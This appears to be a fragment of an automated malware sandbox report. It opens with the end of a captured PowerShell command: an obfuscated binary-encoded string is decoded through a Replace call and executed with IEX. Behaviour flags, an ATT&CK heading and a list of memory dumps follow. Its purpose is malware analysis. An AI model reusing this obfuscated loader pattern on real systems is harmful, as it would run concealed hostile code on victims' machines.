FIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1111KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1111KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1111KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1'.Replace('KDJIRFIIKQ','0');IEX $RVIGZABQBSOIJNIGJODS2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1096-58-0x00000000024F0000-0x00000000024F2000-memory.dmpFilesize
8KB
-
memory/1096-59-0x00000000024F2000-0x00000000024F4000-memory.dmpFilesize
8KB
-
memory/1096-60-0x00000000024F4000-0x00000000024F7000-memory.dmpFilesize
12KB
-
memory/1096-57-0x000007FEF3420000-0x000007FEF3F7D000-memory.dmpFilesize
11.4MB
-
memory/1096-61-0x000000001B6F0000-0x000000001B9EF000-memory.dmpFilesize
3.0MB
-
memory/1096-62-0x00000000024FB000-0x000000000251A000-memory.dmpFilesize
124KB
-
memory/1344-55-0x000007FEFC031000-0x000007FEFC033000-memory.dmpFilesize
8KB